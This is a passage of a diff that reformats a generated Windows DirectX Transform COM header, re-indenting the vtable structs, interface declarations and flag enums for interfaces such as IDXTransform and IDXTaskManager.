*/ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXTransformFactory * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXTransformFactory * This); + + /* [local] */ HRESULT ( STDMETHODCALLTYPE *QueryService )( + IDXTransformFactory * This, + /* [in] */ REFGUID guidService, + /* [in] */ REFIID riid, + /* [out] */ void **ppvObject); + + HRESULT ( STDMETHODCALLTYPE *SetService )( + IDXTransformFactory * This, + /* [in] */ REFGUID guidService, + /* [in] */ IUnknown *pUnkService, + /* [in] */ BOOL bWeakReference); + + HRESULT ( STDMETHODCALLTYPE *CreateTransform )( + IDXTransformFactory * This, + /* [size_is][in] */ IUnknown **punkInputs, + /* [in] */ ULONG ulNumInputs, + /* [size_is][in] */ IUnknown **punkOutputs, + /* [in] */ ULONG ulNumOutputs, + /* [in] */ IPropertyBag *pInitProps, + /* [in] */ IErrorLog *pErrLog, + /* [in] */ REFCLSID TransCLSID, + /* [in] */ REFIID TransIID, + /* [iid_is][out] */ void **ppTransform); + + HRESULT ( STDMETHODCALLTYPE *InitializeTransform )( + IDXTransformFactory * This, + /* [in] */ IDXTransform *pTransform, + /* [size_is][in] */ IUnknown **punkInputs, + /* [in] */ ULONG ulNumInputs, + /* [size_is][in] */ IUnknown **punkOutputs, + /* [in] */ ULONG ulNumOutputs, + /* [in] */ IPropertyBag *pInitProps, + /* [in] */ IErrorLog *pErrLog); + + END_INTERFACE +} IDXTransformFactoryVtbl; + +interface IDXTransformFactory +{ + CONST_VTBL struct IDXTransformFactoryVtbl *lpVtbl; +}; - interface IDXTransformFactory - { - CONST_VTBL struct IDXTransformFactoryVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -723,7 +711,7 @@ EXTERN_C const IID IID_IDXTransformFactory; -HRESULT STDMETHODCALLTYPE IDXTransformFactory_SetService_Proxy( +HRESULT STDMETHODCALLTYPE IDXTransformFactory_SetService_Proxy( IDXTransformFactory * This, /* [in] */ REFGUID guidService, /* [in] */ IUnknown *pUnkService, @@ -737,7 +725,7 @@ void __RPC_STUB IDXTransformFactory_SetService_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXTransformFactory_CreateTransform_Proxy( +HRESULT STDMETHODCALLTYPE IDXTransformFactory_CreateTransform_Proxy( IDXTransformFactory * This, /* [size_is][in] */ IUnknown **punkInputs, /* [in] */ ULONG ulNumInputs, @@ -757,7 +745,7 @@ void __RPC_STUB IDXTransformFactory_CreateTransform_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXTransformFactory_InitializeTransform_Proxy( +HRESULT STDMETHODCALLTYPE IDXTransformFactory_InitializeTransform_Proxy( IDXTransformFactory * This, /* [in] */ IDXTransform *pTransform, /* [size_is][in] */ IUnknown **punkInputs, @@ -780,27 +768,27 @@ void __RPC_STUB IDXTransformFactory_InitializeTransform_Stub( /* interface __MIDL_itf_dxtrans_0261 */ -/* [local] */ +/* [local] */ -typedef -enum DXTMISCFLAGS - { DXTMF_BLEND_WITH_OUTPUT = 1L << 0, - DXTMF_DITHER_OUTPUT = 1L << 1, - DXTMF_OPTION_MASK = 0xffff, - DXTMF_VALID_OPTIONS = DXTMF_BLEND_WITH_OUTPUT | DXTMF_DITHER_OUTPUT, - DXTMF_BLEND_SUPPORTED = 1L << 16, - DXTMF_DITHER_SUPPORTED = 1L << 17, - DXTMF_INPLACE_OPERATION = 1L << 24, - DXTMF_BOUNDS_SUPPORTED = 1L << 25, - DXTMF_PLACEMENT_SUPPORTED = 1L << 26, - DXTMF_QUALITY_SUPPORTED = 1L << 27, - DXTMF_OPAQUE_RESULT = 1L << 28 - } DXTMISCFLAGS; +typedef +enum DXTMISCFLAGS { + DXTMF_BLEND_WITH_OUTPUT = 1L << 0, + DXTMF_DITHER_OUTPUT = 1L << 1, + DXTMF_OPTION_MASK = 0xffff, + DXTMF_VALID_OPTIONS = DXTMF_BLEND_WITH_OUTPUT | DXTMF_DITHER_OUTPUT, + DXTMF_BLEND_SUPPORTED = 1L << 16, + DXTMF_DITHER_SUPPORTED = 1L << 17, + DXTMF_INPLACE_OPERATION = 1L << 24, + DXTMF_BOUNDS_SUPPORTED = 1L << 25, + DXTMF_PLACEMENT_SUPPORTED = 1L << 26, + DXTMF_QUALITY_SUPPORTED = 1L << 27, + DXTMF_OPAQUE_RESULT = 1L << 28 +} DXTMISCFLAGS; -typedef -enum DXINOUTINFOFLAGS - { DXINOUTF_OPTIONAL = 1L << 0 - } DXINOUTINFOFLAGS; +typedef +enum DXINOUTINFOFLAGS { + DXINOUTF_OPTIONAL = 1L << 0 +} DXINOUTINFOFLAGS; @@ -811,154 +799,152 @@ extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0261_v0_0_s_ifspec; #define __IDXTransform_INTERFACE_DEFINED__ /* interface IDXTransform */ -/* [local][unique][helpstring][uuid][object] */ +/* [local][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IDXTransform; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("30A5FB78-E11F-11d1-9064-00C04FD9189D") - IDXTransform : public IDXBaseObject - { - public: - virtual HRESULT STDMETHODCALLTYPE Setup( - /* [size_is][in] */ IUnknown *const *punkInputs, - /* [in] */ ULONG ulNumInputs, - /* [size_is][in] */ IUnknown *const *punkOutputs, - /* [in] */ ULONG ulNumOutputs, - /* [in] */ DWORD dwFlags) = 0; - - virtual HRESULT STDMETHODCALLTYPE Execute( - /* [in] */ const GUID *pRequestID, - /* [in] */ const DXBNDS *pClipBnds, - /* [in] */ const DXVEC *pPlacement) = 0; - - virtual HRESULT STDMETHODCALLTYPE MapBoundsIn2Out( - /* [in] */ const DXBNDS *pInBounds, - /* [in] */ ULONG ulNumInBnds, - /* [in] */ ULONG ulOutIndex, - /* [out] */ DXBNDS *pOutBounds) = 0; - - virtual HRESULT STDMETHODCALLTYPE MapBoundsOut2In( - /* [in] */ ULONG ulOutIndex, - /* [in] */ const DXBNDS *pOutBounds, - /* [in] */ ULONG ulInIndex, - /* [out] */ DXBNDS *pInBounds) = 0; - - virtual HRESULT STDMETHODCALLTYPE SetMiscFlags( - /* [in] */ DWORD dwMiscFlags) = 0; - - virtual HRESULT STDMETHODCALLTYPE GetMiscFlags( - /* [out] */ DWORD *pdwMiscFlags) = 0; - - virtual HRESULT STDMETHODCALLTYPE GetInOutInfo( - /* [in] */ BOOL bIsOutput, - /* [in] */ ULONG ulIndex, - /* [out] */ DWORD *pdwFlags, - /* [size_is][out] */ GUID *pIDs, - /* [out][in] */ ULONG *pcIDs, - /* [out] */ IUnknown **ppUnkCurrentObject) = 0; - - virtual HRESULT STDMETHODCALLTYPE SetQuality( - /* [in] */ float fQuality) = 0; - - virtual HRESULT STDMETHODCALLTYPE GetQuality( - /* [out] */ float *fQuality) = 0; - - }; - + +MIDL_INTERFACE("30A5FB78-E11F-11d1-9064-00C04FD9189D") +IDXTransform : public IDXBaseObject { +public: + virtual HRESULT STDMETHODCALLTYPE Setup( + /* [size_is][in] */ IUnknown *const *punkInputs, + /* [in] */ ULONG ulNumInputs, + /* [size_is][in] */ IUnknown *const *punkOutputs, + /* [in] */ ULONG ulNumOutputs, + /* [in] */ DWORD dwFlags) = 0; + + virtual HRESULT STDMETHODCALLTYPE Execute( + /* [in] */ const GUID *pRequestID, + /* [in] */ const DXBNDS *pClipBnds, + /* [in] */ const DXVEC *pPlacement) = 0; + + virtual HRESULT STDMETHODCALLTYPE MapBoundsIn2Out( + /* [in] */ const DXBNDS *pInBounds, + /* [in] */ ULONG ulNumInBnds, + /* [in] */ ULONG ulOutIndex, + /* [out] */ DXBNDS *pOutBounds) = 0; + + virtual HRESULT STDMETHODCALLTYPE MapBoundsOut2In( + /* [in] */ ULONG ulOutIndex, + /* [in] */ const DXBNDS *pOutBounds, + /* [in] */ ULONG ulInIndex, + /* [out] */ DXBNDS *pInBounds) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetMiscFlags( + /* [in] */ DWORD dwMiscFlags) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetMiscFlags( + /* [out] */ DWORD *pdwMiscFlags) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetInOutInfo( + /* [in] */ BOOL bIsOutput, + /* [in] */ ULONG ulIndex, + /* [out] */ DWORD *pdwFlags, + /* [size_is][out] */ GUID *pIDs, + /* [out][in] */ ULONG *pcIDs, + /* [out] */ IUnknown **ppUnkCurrentObject) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetQuality( + /* [in] */ float fQuality) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetQuality( + /* [out] */ float *fQuality) = 0; + +}; + #else /* C style interface */ - typedef struct IDXTransformVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IDXTransform * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IDXTransform * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IDXTransform * This); - - HRESULT ( STDMETHODCALLTYPE *GetGenerationId )( - IDXTransform * This, - /* [out] */ ULONG *pID); - - HRESULT ( STDMETHODCALLTYPE *IncrementGenerationId )( - IDXTransform * This, - /* [in] */ BOOL bRefresh); - - HRESULT ( STDMETHODCALLTYPE *GetObjectSize )( - IDXTransform * This, - /* [out] */ ULONG *pcbSize); - - HRESULT ( STDMETHODCALLTYPE *Setup )( - IDXTransform * This, - /* [size_is][in] */ IUnknown *const *punkInputs, - /* [in] */ ULONG ulNumInputs, - /* [size_is][in] */ IUnknown *const *punkOutputs, - /* [in] */ ULONG ulNumOutputs, - /* [in] */ DWORD dwFlags); - - HRESULT ( STDMETHODCALLTYPE *Execute )( - IDXTransform * This, - /* [in] */ const GUID *pRequestID, - /* [in] */ const DXBNDS *pClipBnds, - /* [in] */ const DXVEC *pPlacement); - - HRESULT ( STDMETHODCALLTYPE *MapBoundsIn2Out )( - IDXTransform * This, - /* [in] */ const DXBNDS *pInBounds, - /* [in] */ ULONG ulNumInBnds, - /* [in] */ ULONG ulOutIndex, - /* [out] */ DXBNDS *pOutBounds); - - HRESULT ( STDMETHODCALLTYPE *MapBoundsOut2In )( - IDXTransform * This, - /* [in] */ ULONG ulOutIndex, - /* [in] */ const DXBNDS *pOutBounds, - /* [in] */ ULONG ulInIndex, - /* [out] */ DXBNDS *pInBounds); - - HRESULT ( STDMETHODCALLTYPE *SetMiscFlags )( - IDXTransform * This, - /* [in] */ DWORD dwMiscFlags); - - HRESULT ( STDMETHODCALLTYPE *GetMiscFlags )( - IDXTransform * This, - /* [out] */ DWORD *pdwMiscFlags); - - HRESULT ( STDMETHODCALLTYPE *GetInOutInfo )( - IDXTransform * This, - /* [in] */ BOOL bIsOutput, - /* [in] */ ULONG ulIndex, - /* [out] */ DWORD *pdwFlags, - /* [size_is][out] */ GUID *pIDs, - /* [out][in] */ ULONG *pcIDs, - /* [out] */ IUnknown **ppUnkCurrentObject); - - HRESULT ( STDMETHODCALLTYPE *SetQuality )( - IDXTransform * This, - /* [in] */ float fQuality); - - HRESULT ( STDMETHODCALLTYPE *GetQuality )( - IDXTransform * This, - /* [out] */ float *fQuality); - - END_INTERFACE - } IDXTransformVtbl; +typedef struct IDXTransformVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXTransform * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXTransform * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXTransform * This); + + HRESULT ( STDMETHODCALLTYPE *GetGenerationId )( + IDXTransform * This, + /* [out] */ ULONG *pID); + + HRESULT ( STDMETHODCALLTYPE *IncrementGenerationId )( + IDXTransform * This, + /* [in] */ BOOL bRefresh); + + HRESULT ( STDMETHODCALLTYPE *GetObjectSize )( + IDXTransform * This, + /* [out] */ ULONG *pcbSize); + + HRESULT ( STDMETHODCALLTYPE *Setup )( + IDXTransform * This, + /* [size_is][in] */ IUnknown *const *punkInputs, + /* [in] */ ULONG ulNumInputs, + /* [size_is][in] */ IUnknown *const *punkOutputs, + /* [in] */ ULONG ulNumOutputs, + /* [in] */ DWORD dwFlags); + + HRESULT ( STDMETHODCALLTYPE *Execute )( + IDXTransform * This, + /* [in] */ const GUID *pRequestID, + /* [in] */ const DXBNDS *pClipBnds, + /* [in] */ const DXVEC *pPlacement); + + HRESULT ( STDMETHODCALLTYPE *MapBoundsIn2Out )( + IDXTransform * This, + /* [in] */ const DXBNDS *pInBounds, + /* [in] */ ULONG ulNumInBnds, + /* [in] */ ULONG ulOutIndex, + /* [out] */ DXBNDS *pOutBounds); + + HRESULT ( STDMETHODCALLTYPE *MapBoundsOut2In )( + IDXTransform * This, + /* [in] */ ULONG ulOutIndex, + /* [in] */ const DXBNDS *pOutBounds, + /* [in] */ ULONG ulInIndex, + /* [out] */ DXBNDS *pInBounds); + + HRESULT ( STDMETHODCALLTYPE *SetMiscFlags )( + IDXTransform * This, + /* [in] */ DWORD dwMiscFlags); + + HRESULT ( STDMETHODCALLTYPE *GetMiscFlags )( + IDXTransform * This, + /* [out] */ DWORD *pdwMiscFlags); + + HRESULT ( STDMETHODCALLTYPE *GetInOutInfo )( + IDXTransform * This, + /* [in] */ BOOL bIsOutput, + /* [in] */ ULONG ulIndex, + /* [out] */ DWORD *pdwFlags, + /* [size_is][out] */ GUID *pIDs, + /* [out][in] */ ULONG *pcIDs, + /* [out] */ IUnknown **ppUnkCurrentObject); + + HRESULT ( STDMETHODCALLTYPE *SetQuality )( + IDXTransform * This, + /* [in] */ float fQuality); + + HRESULT ( STDMETHODCALLTYPE *GetQuality )( + IDXTransform * This, + /* [out] */ float *fQuality); + + END_INTERFACE +} IDXTransformVtbl; + +interface IDXTransform +{ + CONST_VTBL struct IDXTransformVtbl *lpVtbl; +}; - interface IDXTransform - { - CONST_VTBL struct IDXTransformVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -1017,7 +1003,7 @@ EXTERN_C const IID IID_IDXTransform; -HRESULT STDMETHODCALLTYPE IDXTransform_Setup_Proxy( +HRESULT STDMETHODCALLTYPE IDXTransform_Setup_Proxy( IDXTransform * This, /* [size_is][in] */ IUnknown *const *punkInputs, /* [in] */ ULONG ulNumInputs, @@ -1033,7 +1019,7 @@ void __RPC_STUB IDXTransform_Setup_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXTransform_Execute_Proxy( +HRESULT STDMETHODCALLTYPE IDXTransform_Execute_Proxy( IDXTransform * This, /* [in] */ const GUID *pRequestID, /* [in] */ const DXBNDS *pClipBnds, @@ -1047,7 +1033,7 @@ void __RPC_STUB IDXTransform_Execute_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXTransform_MapBoundsIn2Out_Proxy( +HRESULT STDMETHODCALLTYPE IDXTransform_MapBoundsIn2Out_Proxy( IDXTransform * This, /* [in] */ const DXBNDS *pInBounds, /* [in] */ ULONG ulNumInBnds, @@ -1062,7 +1048,7 @@ void __RPC_STUB IDXTransform_MapBoundsIn2Out_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXTransform_MapBoundsOut2In_Proxy( +HRESULT STDMETHODCALLTYPE IDXTransform_MapBoundsOut2In_Proxy( IDXTransform * This, /* [in] */ ULONG ulOutIndex, /* [in] */ const DXBNDS *pOutBounds, @@ -1077,7 +1063,7 @@ void __RPC_STUB IDXTransform_MapBoundsOut2In_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXTransform_SetMiscFlags_Proxy( +HRESULT STDMETHODCALLTYPE IDXTransform_SetMiscFlags_Proxy( IDXTransform * This, /* [in] */ DWORD dwMiscFlags); @@ -1089,7 +1075,7 @@ void __RPC_STUB IDXTransform_SetMiscFlags_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXTransform_GetMiscFlags_Proxy( +HRESULT STDMETHODCALLTYPE IDXTransform_GetMiscFlags_Proxy( IDXTransform * This, /* [out] */ DWORD *pdwMiscFlags); @@ -1101,7 +1087,7 @@ void __RPC_STUB IDXTransform_GetMiscFlags_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXTransform_GetInOutInfo_Proxy( +HRESULT STDMETHODCALLTYPE IDXTransform_GetInOutInfo_Proxy( IDXTransform * This, /* [in] */ BOOL bIsOutput, /* [in] */ ULONG ulIndex, @@ -1118,7 +1104,7 @@ void __RPC_STUB IDXTransform_GetInOutInfo_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXTransform_SetQuality_Proxy( +HRESULT STDMETHODCALLTYPE IDXTransform_SetQuality_Proxy( IDXTransform * This, /* [in] */ float fQuality); @@ -1130,7 +1116,7 @@ void __RPC_STUB IDXTransform_SetQuality_Stub( DWORD *_pdwStubPhase); -HRESULT STDMETHODCALLTYPE IDXTransform_GetQuality_Proxy( +HRESULT STDMETHODCALLTYPE IDXTransform_GetQuality_Proxy( IDXTransform * This, /* [out] */ float *fQuality); @@ -1150,56 +1136,54 @@ void __RPC_STUB IDXTransform_GetQuality_Stub( #define __IDXSurfacePick_INTERFACE_DEFINED__ /* interface IDXSurfacePick */ -/* [local][unique][helpstring][uuid][object] */ +/* [local][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IDXSurfacePick; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("30A5FB79-E11F-11d1-9064-00C04FD9189D") - IDXSurfacePick : public IUnknown - { - public: - virtual HRESULT STDMETHODCALLTYPE PointPick( - /* [in] */ const DXVEC *pPoint, - /* [out] */ ULONG *pulInputSurfaceIndex, - /* [out] */ DXVEC *pInputPoint) = 0; - - }; - + +MIDL_INTERFACE("30A5FB79-E11F-11d1-9064-00C04FD9189D") +IDXSurfacePick : public IUnknown { +public: + virtual HRESULT STDMETHODCALLTYPE PointPick( + /* [in] */ const DXVEC *pPoint, + /* [out] */ ULONG *pulInputSurfaceIndex, + /* [out] */ DXVEC *pInputPoint) = 0; + +}; + #else /* C style interface */ - typedef struct IDXSurfacePickVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IDXSurfacePick * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IDXSurfacePick * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IDXSurfacePick * This); - - HRESULT ( STDMETHODCALLTYPE *PointPick )( - IDXSurfacePick * This, - /* [in] */ const DXVEC *pPoint, - /* [out] */ ULONG *pulInputSurfaceIndex, - /* [out] */ DXVEC *pInputPoint); - - END_INTERFACE - } IDXSurfacePickVtbl; +typedef struct IDXSurfacePickVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXSurfacePick * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXSurfacePick * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXSurfacePick * This); + + HRESULT ( STDMETHODCALLTYPE *PointPick )( + IDXSurfacePick * This, + /* [in] */ const DXVEC *pPoint, + /* [out] */ ULONG *pulInputSurfaceIndex, + /* [out] */ DXVEC *pInputPoint); + + END_INTERFACE +} IDXSurfacePickVtbl; + +interface IDXSurfacePick +{ + CONST_VTBL struct IDXSurfacePickVtbl *lpVtbl; +}; - interface IDXSurfacePick - { - CONST_VTBL struct IDXSurfacePickVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -1224,7 +1208,7 @@ EXTERN_C const IID IID_IDXSurfacePick; -HRESULT STDMETHODCALLTYPE IDXSurfacePick_PointPick_Proxy( +HRESULT STDMETHODCALLTYPE IDXSurfacePick_PointPick_Proxy( IDXSurfacePick * This, /* [in] */ const DXVEC *pPoint, /* [out] */ ULONG *pulInputSurfaceIndex, @@ -1246,52 +1230,50 @@ void __RPC_STUB IDXSurfacePick_PointPick_Stub( #define __IDXTBindHost_INTERFACE_DEFINED__ /* interface IDXTBindHost */ -/* [local][unique][helpstring][uuid][object] */ +/* [local][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IDXTBindHost; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("D26BCE55-E9DC-11d1-9066-00C04FD9189D") - IDXTBindHost : public IUnknown - { - public: - virtual HRESULT STDMETHODCALLTYPE SetBindHost( - /* [in] */ IBindHost *pBindHost) = 0; - - }; - + +MIDL_INTERFACE("D26BCE55-E9DC-11d1-9066-00C04FD9189D") +IDXTBindHost : public IUnknown { +public: + virtual HRESULT STDMETHODCALLTYPE SetBindHost( + /* [in] */ IBindHost *pBindHost) = 0; + +}; + #else /* C style interface */ - typedef struct IDXTBindHostVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IDXTBindHost * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IDXTBindHost * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IDXTBindHost * This); - - HRESULT ( STDMETHODCALLTYPE *SetBindHost )( - IDXTBindHost * This, - /* [in] */ IBindHost *pBindHost); - - END_INTERFACE - } IDXTBindHostVtbl; +typedef struct IDXTBindHostVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXTBindHost * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXTBindHost * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXTBindHost * This); + + HRESULT ( STDMETHODCALLTYPE *SetBindHost )( + IDXTBindHost * This, + /* [in] */ IBindHost *pBindHost); + + END_INTERFACE +} IDXTBindHostVtbl; + +interface IDXTBindHost +{ + CONST_VTBL struct IDXTBindHostVtbl *lpVtbl; +}; - interface IDXTBindHost - { - CONST_VTBL struct IDXTBindHostVtbl *lpVtbl; - }; - #ifdef COBJMACROS @@ -1316,7 +1298,7 @@ EXTERN_C const IID IID_IDXTBindHost; -HRESULT STDMETHODCALLTYPE IDXTBindHost_SetBindHost_Proxy( +HRESULT STDMETHODCALLTYPE IDXTBindHost_SetBindHost_Proxy( IDXTBindHost * This, /* [in] */ IBindHost *pBindHost); @@ -1333,22 +1315,21 @@ void __RPC_STUB IDXTBindHost_SetBindHost_Stub( /* interface __MIDL_itf_dxtrans_0264 */ -/* [local] */ +/* [local] */ -typedef void __stdcall __stdcall DXTASKPROC( +typedef void __stdcall __stdcall DXTASKPROC( void *pTaskData, BOOL *pbContinueProcessing); typedef DXTASKPROC *PFNDXTASKPROC; -typedef void __stdcall __stdcall DXAPCPROC( +typedef void __stdcall __stdcall DXAPCPROC( DWORD dwData); typedef DXAPCPROC *PFNDXAPCPROC; #ifdef __cplusplus -typedef struct DXTMTASKINFO -{ +typedef struct DXTMTASKINFO { PFNDXTASKPROC pfnTaskProc; // Pointer to function to execute PVOID pTaskData; // Pointer to argument data PFNDXAPCPROC pfnCompletionAPC; // Pointer to completion APC proc @@ -1356,14 +1337,13 @@ typedef struct DXTMTASKINFO const GUID* pRequestID; // Used to identify groups of tasks } DXTMTASKINFO; #else -typedef struct DXTMTASKINFO - { +typedef struct DXTMTASKINFO { PVOID pfnTaskProc; PVOID pTaskData; PVOID pfnCompletionAPC; DWORD dwCompletionData; const GUID *pRequestID; - } DXTMTASKINFO; +} DXTMTASKINFO; #endif @@ -1375,115 +1355,113 @@ extern RPC_IF_HANDLE __MIDL_itf_dxtrans_0264_v0_0_s_ifspec; #define __IDXTaskManager_INTERFACE_DEFINED__ /* interface IDXTaskManager */ -/* [local][unique][helpstring][uuid][object] */ +/* [local][unique][helpstring][uuid][object] */ EXTERN_C const IID IID_IDXTaskManager; #if defined(__cplusplus) && !defined(CINTERFACE) - - MIDL_INTERFACE("254DBBC1-F922-11d0-883A-3C8B00C10000") - IDXTaskManager : public IUnknown - { - public: - virtual HRESULT STDMETHODCALLTYPE QueryNumProcessors( - /* [out] */ ULONG *pulNumProc) = 0; - - virtual HRESULT STDMETHODCALLTYPE SetThreadPoolSize( - /* [in] */ ULONG ulNumThreads) = 0; - - virtual HRESULT STDMETHODCALLTYPE GetThreadPoolSize( - /* [out] */ ULONG *pulNumThreads) = 0; - - virtual HRESULT STDMETHODCALLTYPE SetConcurrencyLimit( - /* [in] */ ULONG ulNumThreads) = 0; - - virtual HRESULT STDMETHODCALLTYPE GetConcurrencyLimit( - /* [out] */ ULONG *pulNumThreads) = 0; - - virtual HRESULT STDMETHODCALLTYPE ScheduleTasks( - /* [in] */ DXTMTASKINFO TaskInfo[ ], - /* [in] */ HANDLE Events[ ], - /* [out] */ DWORD TaskIDs[ ], - /* [in] */ ULONG ulNumTasks, - /* [in] */ ULONG ulWaitPeriod) = 0; - - virtual HRESULT STDMETHODCALLTYPE TerminateTasks( - /* [in] */ DWORD TaskIDs[ ], - /* [in] */ ULONG ulCount, - /* [in] */ ULONG ulTimeOut) = 0; - - virtual HRESULT STDMETHODCALLTYPE TerminateRequest( - /* [in] */ REFIID RequestID, - /* [in] */ ULONG ulTimeOut) = 0; - - }; - + +MIDL_INTERFACE("254DBBC1-F922-11d0-883A-3C8B00C10000") +IDXTaskManager : public IUnknown { +public: + virtual HRESULT STDMETHODCALLTYPE QueryNumProcessors( + /* [out] */ ULONG *pulNumProc) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetThreadPoolSize( + /* [in] */ ULONG ulNumThreads) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetThreadPoolSize( + /* [out] */ ULONG *pulNumThreads) = 0; + + virtual HRESULT STDMETHODCALLTYPE SetConcurrencyLimit( + /* [in] */ ULONG ulNumThreads) = 0; + + virtual HRESULT STDMETHODCALLTYPE GetConcurrencyLimit( + /* [out] */ ULONG *pulNumThreads) = 0; + + virtual HRESULT STDMETHODCALLTYPE ScheduleTasks( + /* [in] */ DXTMTASKINFO TaskInfo[ ], + /* [in] */ HANDLE Events[ ], + /* [out] */ DWORD TaskIDs[ ], + /* [in] */ ULONG ulNumTasks, + /* [in] */ ULONG ulWaitPeriod) = 0; + + virtual HRESULT STDMETHODCALLTYPE TerminateTasks( + /* [in] */ DWORD TaskIDs[ ], + /* [in] */ ULONG ulCount, + /* [in] */ ULONG ulTimeOut) = 0; + + virtual HRESULT STDMETHODCALLTYPE TerminateRequest( + /* [in] */ REFIID RequestID, + /* [in] */ ULONG ulTimeOut) = 0; + +}; + #else /* C style interface */ - typedef struct IDXTaskManagerVtbl - { - BEGIN_INTERFACE - - HRESULT ( STDMETHODCALLTYPE *QueryInterface )( - IDXTaskManager * This, - /* [in] */ REFIID riid, - /* [iid_is][out] */ void **ppvObject); - - ULONG ( STDMETHODCALLTYPE *AddRef )( - IDXTaskManager * This); - - ULONG ( STDMETHODCALLTYPE *Release )( - IDXTaskManager * This); - - HRESULT ( STDMETHODCALLTYPE *QueryNumProcessors )( - IDXTaskManager * This, - /* [out] */ ULONG *pulNumProc); - - HRESULT ( STDMETHODCALLTYPE *SetThreadPoolSize )( - IDXTaskManager * This, - /* [in] */ ULONG ulNumThreads); - - HRESULT ( STDMETHODCALLTYPE *GetThreadPoolSize )( - IDXTaskManager * This, - /* [out] */ ULONG *pulNumThreads); - - HRESULT ( STDMETHODCALLTYPE *SetConcurrencyLimit )( - IDXTaskManager * This, - /* [in] */ ULONG ulNumThreads); - - HRESULT ( STDMETHODCALLTYPE *GetConcurrencyLimit )( - IDXTaskManager * This, - /* [out] */ ULONG *pulNumThreads); - - HRESULT ( STDMETHODCALLTYPE *ScheduleTasks )( - IDXTaskManager * This, - /* [in] */ DXTMTASKINFO TaskInfo[ ], - /* [in] */ HANDLE Events[ ], - /* [out] */ DWORD TaskIDs[ ], - /* [in] */ ULONG ulNumTasks, - /* [in] */ ULONG ulWaitPeriod); - - HRESULT ( STDMETHODCALLTYPE *TerminateTasks )( - IDXTaskManager * This, - /* [in] */ DWORD TaskIDs[ ], - /* [in] */ ULONG ulCount, - /* [in] */ ULONG ulTimeOut); - - HRESULT ( STDMETHODCALLTYPE *TerminateRequest )( - IDXTaskManager * This, - /* [in] */ REFIID RequestID, - /* [in] */ ULONG ulTimeOut); - - END_INTERFACE - } IDXTaskManagerVtbl; +typedef struct IDXTaskManagerVtbl { + BEGIN_INTERFACE + + HRESULT ( STDMETHODCALLTYPE *QueryInterface )( + IDXTaskManager * This, + /* [in] */ REFIID riid, + /* [iid_is][out] */ void **ppvObject); + + ULONG ( STDMETHODCALLTYPE *AddRef )( + IDXTaskManager * This); + + ULONG ( STDMETHODCALLTYPE *Release )( + IDXTaskManager * This); + + HRESULT ( STDMETHODCALLTYPE *QueryNumProcessors )( + IDXTaskManager * This, + /* [out] */ ULONG *pulNumProc); + + HRESULT ( STDMETHODCALLTYPE *SetThreadPoolSize )( + IDXTaskManager * This, + /* [in] */ ULONG ulNumThreads); + + HRESULT ( STDMETHODCALLTYPE *GetThreadPoolSize )( + IDXTaskManager * This, + /* [out] */ ULONG *pulNumThreads); + + HRESULT ( STDMETHODCALLTYPE *SetConcurrencyLimit )( + IDXTaskManager * This, + /* [in] */ ULONG ulNumThreads); + + HRESULT ( STDMETHODCALLTYPE *GetConcurrencyLimit )( + IDXTaskManager * This, + /* [out] */ ULONG *pulNumThreads); + + HRESULT ( STDMETHODCALLTYPE *ScheduleTasks )( + IDXTaskManager * This, + /* [in] */ DXTMTASKINFO 